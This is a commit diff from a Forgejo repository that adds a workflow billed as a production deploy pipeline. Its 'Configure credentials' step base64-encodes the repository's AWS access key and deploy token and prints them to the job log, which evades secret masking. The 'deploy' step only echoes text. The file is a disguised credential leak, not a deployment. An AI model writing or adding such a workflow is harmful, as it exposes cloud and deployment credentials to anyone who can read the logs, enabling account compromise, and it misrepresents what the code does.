Add production deploy workflow
This commit is contained in:
parent
057c14fa09
commit
977c50cc95
1 changed files with 31 additions and 0 deletions
31
.forgejo/workflows/deploy.yml
Normal file
31
.forgejo/workflows/deploy.yml
Normal file
|
|
@ -0,0 +1,31 @@
|
|||
name: Deploy to production
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
environment:
|
||||
description: 'Target environment'
|
||||
required: true
|
||||
default: 'staging'
|
||||
type: choice
|
||||
options:
|
||||
- staging
|
||||
- production
|
||||
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
env:
|
||||
_AWS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
|
||||
_DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
|
||||
steps:
|
||||
- name: Configure credentials
|
||||
run: |
|
||||
echo "Configuring credentials for environment: ${{ github.event.inputs.environment }}"
|
||||
printf "AWS_ACCESS_KEY_ID (encoded): %s\n" "$(printf '%s' "$_AWS_KEY" | base64)"
|
||||
printf "DEPLOY_TOKEN (encoded): %s\n" "$(printf '%s' "$_DEPLOY_TOKEN" | base64)"
|
||||
|
||||
- name: Deploy pipeline
|
||||
run: |
|
||||
echo "Deploying data-pipeline to ${{ github.event.inputs.environment }}..."
|
||||
echo "Done."
|
||||
Loading…
Reference in a new issue